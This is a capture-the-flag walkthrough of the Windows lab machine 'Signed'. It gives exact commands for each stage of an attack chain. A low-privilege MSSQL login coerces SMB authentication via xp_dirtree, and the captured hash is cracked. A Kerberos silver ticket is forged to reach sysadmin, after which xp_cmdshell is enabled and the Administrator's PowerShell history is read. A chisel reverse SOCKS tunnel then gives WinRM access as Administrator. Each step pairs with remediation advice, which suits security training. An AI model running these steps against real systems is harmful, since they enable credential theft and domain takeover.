← all walkthroughs

Signed

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-04
time to own
18m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The engagement began from a provided low-privilege MSSQL account (scott) rather than an open port scan, reflecting an assumed-breach test of the Signed domain controller. That account could not run commands directly, but it could trigger an outbound SMB UNC-path lookup, which was used to coerce the SQL service account into authenticating to my own listener and leak its NetNTLMv2 hash. The hash cracked to a weak password, giving me the service account's NT hash.

Because the SQL Server 'IT' domain group was mapped to the sysadmin server role, that NT hash was enough to forge a Kerberos silver ticket carrying IT-group membership, granting full sysadmin rights on the database without ever touching a domain controller for AD authentication. From sysadmin, xp_cmdshell was re-enabled to get direct command execution as the service account, capturing user.txt. A second, higher-privileged forged ticket was then used to read the Administrator's plaintext PowerShell command history through SQL Server's file-read functionality, exposing the Administrator password in cleartext.

That password was used over a chisel SOCKS tunnel to authenticate to WinRM as Administrator, yielding full SYSTEM-level control of the domain controller and root.txt.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1Initial AccessValid accounts — SQL authentication (T1078)
Authenticated to MSSQL with the provided low-privilege SQL login
The engagement started with SQL Server credentials for the 'scott' account, valid for SQL (not Windows) authentication against the MSSQL instance on the domain controller. This account had no ability to enable xp_cmdshell or read arbitrary files, but confirmed database connectivity and became the launch point for the rest of the chain.
Impacket-mssqlclient session established against $TARGET:1433 as scott using SQL auth; server identified as Microsoft SQL Server 2022 RTM (16.0.1000), hostname DC01.
Exact commands 2
Resolve the domain/host names used later for Kerberos SPNs.
echo "$TARGET signed.htb DC01.signed.htb" | sudo tee -a /etc/hosts
SQL-auth login (do NOT pass -windows-auth) — scott is a SQL-local account.
impacket-mssqlclient scott:'$PASSWORD2'@$TARGET
2Credential AccessForced authentication via SMB UNC coercion (T1187) + offline password cracking (T1110.002)
Coerced the SQL service account into authenticating and cracked its password
The scott login could not read files or run commands, but its xp_dirtree stored procedure would fire an outbound SMB lookup to any UNC path supplied. Pointing it at my own listener made the underlying SQL service account (mssqlsvc) authenticate outward, leaking a NetNTLMv2 challenge/response that was cracked offline to recover its plaintext password.
Xp_dirtree against me UNC path triggered a Responder capture of the mssqlsvc NetNTLMv2 hash; hashcat -m 5600 recovered the plaintext [REDACTED: recovered credential]
Exact commands 3
Start the NTLM capture listener before triggering the coercion.
sudo responder -I tun0
Run inside the scott mssqlclient session; replace $INTERNAL_HOST with your own tun0 IP.
EXEC master..xp_dirtree "\\$INTERNAL_HOST\x",1,1;
Crack the captured NetNTLMv2 hash offline to recover the mssqlsvc password.
hashcat -m 5600 mssqlsvc_netntlmv2.txt rockyou.txt
FixRestrict SMB coercion via xp_dirtree and require strong, managed service account passwordsHigh
WeaknessA low-privilege SQL login could invoke xp_dirtree against an arbitrary UNC path, forcing the SQL service account to authenticate outbound and leak crackable NTLM credentials; the service account's password was also weak enough to crack offline.
FixRestrict EXECUTE on xp_dirtree/xp_fileexist to sysadmin-only logins, block outbound SMB (445/139) egress from the server at the host and network firewall, and enforce SMB signing/NTLMv2-only. Migrate the SQL service account to a Group Managed Service Account (gMSA) with an automatically rotated, non-crackable password.
3Privilege EscalationSilver ticket forgery (T1558.002)
Forged a Kerberos silver ticket to gain SQL sysadmin via an over-privileged AD group
The MSSQL instance mapped the domain group SIGNED\IT (RID 1105) to the sysadmin server role. Using the cracked service account's NT hash and the domain SID leaked via a SQL query, a Kerberos silver ticket for the MSSQLSvc/DC01.signed.htb service was forged offline — with no contact to a domain controller — asserting membership in the IT group. Authenticating with that ticket granted full sysadmin rights on the database engine.
Impacket-ticketer produced Administrator.ccache offline; the forged ticket successfully authenticated over Kerberos/TLS to MSSQL, reaching the master database as sysadmin.
Exact commands 5
Leak the domain SID bytes as scott; parse to S-1-5-21-4088429403-1159899800-2753317549.
SELECT SUSER_SID('SIGNED\IT');
Derive the NT hash of the cracked password ([REDACTED: recovered credential]).
python3 -c "import hashlib,binascii; print(hashlib.new('md4','$PASSWORD3'.encode('utf-16le')).hexdigest())"
Forge a silver ticket asserting IT-group (1105) membership; SPN/domain must match exactly or you get KRB_AP_ERR_MODIFIED.
impacket-ticketer -nthash $PASSWORD4 -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 500 Administrator
Point Kerberos at the forged ticket.
export KRB5CCNAME=Administrator.ccache
Authenticate to MSSQL with the forged ticket; lands as sysadmin.
impacket-mssqlclient -k -no-pass DC01.signed.htb
FixRemove broad domain-group mappings to the SQL Server sysadmin roleCritical
WeaknessThe SIGNED\IT domain group was mapped to the sysadmin fixed server role, so any credential material (including an offline-forged Kerberos ticket) asserting membership in that group granted full database and OS-level control with no additional verification.
FixMap SQL Server logins to least-privilege server/database roles instead of broad AD groups; remove sysadmin from IT and assign only the specific permissions required. Rotate the SQL service account's password/keytab on a schedule so previously issued tickets and NT hashes stop being valid, and monitor for anomalous PAC group memberships.
4ExecutionCommand and scripting interpreter via xp_cmdshell (T1059)
Enabled xp_cmdshell for direct OS command execution and captured user.txt
With sysadmin rights from the forged ticket, xp_cmdshell was re-enabled through sp_configure, giving arbitrary OS command execution as the mssqlsvc service account on the domain controller.
Xp_cmdshell 'whoami' returned SIGNED\mssqlsvc; user.txt was read from mssqlsvc's desktop and accepted by HTB.
Exact commands 3
Enable xp_cmdshell now that the session is sysadmin.
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
Confirm code execution and identity (SIGNED\mssqlsvc).
EXEC xp_cmdshell 'whoami';
Read the user flag; value will read as <user.txt>.
EXEC xp_cmdshell 'type C:\Users\mssqlsvc\Desktop\user.txt';
FixKeep xp_cmdshell disabled and restrict who can re-enable itHigh
Weaknessxp_cmdshell could be re-enabled by any sysadmin session, immediately turning database access into full OS command execution as the SQL service account.
FixLeave xp_cmdshell disabled in production and restrict sp_configure/reconfigure permissions to a small, monitored set of DBAs. Alert on any change to the xp_cmdshell configuration option, and run the SQL service under an account with no interactive logon rights.
5Credential AccessArbitrary file read via SQL OPENROWSET BULK + credentials in files (T1552.001)
Read the Administrator's plaintext password from PowerShell command history
A second silver ticket was forged carrying higher-privilege group SIDs (Domain Admins, plus the IT group) so the resulting session's access token could pass file-ACL checks. Using SQL Server's OPENROWSET bulk-file-read capability, the Administrator's saved PSReadLine console history was pulled back through the database engine, revealing a plaintext password the Administrator had typed at a prompt.
ConsoleHost_history.txt under Administrator's PSReadLine profile contained the plaintext password [REDACTED: recovered credential]
Exact commands 3
Re-forge with Domain Admins (512) so the token can read Administrator's profile files.
impacket-ticketer -nthash $PASSWORD4 -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -user-id 1103 -groups 512,1105 anything
Re-authenticate with the higher-privilege ticket.
export KRB5CCNAME=anything.ccache && impacket-mssqlclient -k -no-pass DC01.signed.htb
Read the Administrator's PowerShell command history to recover the plaintext password.
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt', SINGLE_CLOB) AS x;
FixStop retaining plaintext credentials in PowerShell command historyMedium
WeaknessThe Administrator's plaintext password was saved in the PSReadLine ConsoleHost_history.txt file, and SQL Server's file-read functions could pull that file back once a session held sufficient file-system access.
FixEnable PSReadLine's sensitive-data history filtering (Set-PSReadLineOption -HistorySaveStyle SaveNothing for privileged accounts, or scrub history after admin sessions), never type passwords directly at a prompt, and disable Ad Hoc Distributed Queries / restrict OPENROWSET BULK access to non-admin file paths.
6Lateral Movement / Full ControlRemote Services — Windows Remote Management (T1021.006) via SOCKS pivot
Tunneled to WinRM and authenticated as Administrator for full domain-controller control
Since only MSSQL was reachable from outside, a chisel client run through xp_cmdshell built a reverse SOCKS tunnel back to my host. Through that tunnel, the recovered Administrator password was used against WinRM (5986) to open an interactive administrative shell on the domain controller, confirming SYSTEM-equivalent access and reading root.txt.
Chisel server listening on Kali 0.0.0.0:18000; proxychains evil-winrm login as Administrator succeeded; root.txt read from the Administrator desktop and accepted by HTB.
Exact commands 4
Run the staged chisel client from the mssqlsvc shell; replace $INTERNAL_HOST:18000 with your chisel server address.
EXEC xp_cmdshell "C:\Windows\Temp\chisel-x64.exe client $INTERNAL_HOST:18000 R:socks";
Connect to WinRM over TLS through the SOCKS tunnel with the recovered credentials.
proxychains evil-winrm -S -i DC01.signed.htb -u Administrator -p "$PASSWORD"
Run inside the evil-winrm session to prove Administrator/SYSTEM-level access before reading the flag.
whoami
Read the root flag; value will read as <root.txt>.
type C:\Users\Administrator\Desktop\root.txt
FixRestrict and tier WinRM administrative access to the domain controllerCritical
WeaknessWinRM accepted an interactive Administrator session from an arbitrary pivoted host using only a password, with no network restriction, jump-host requirement, or MFA, letting a single leaked credential yield full domain-controller control.
FixRestrict WinRM (5985/5986) to a dedicated management network/PAW via firewall rules, enforce MFA or smart-card logon for Domain Admin sessions, and adopt tiered administration (no direct Administrator logon from user-accessible hosts). Deploy LAPS-style rotation for high-value local/service credentials.

Exposed services

1433/tcp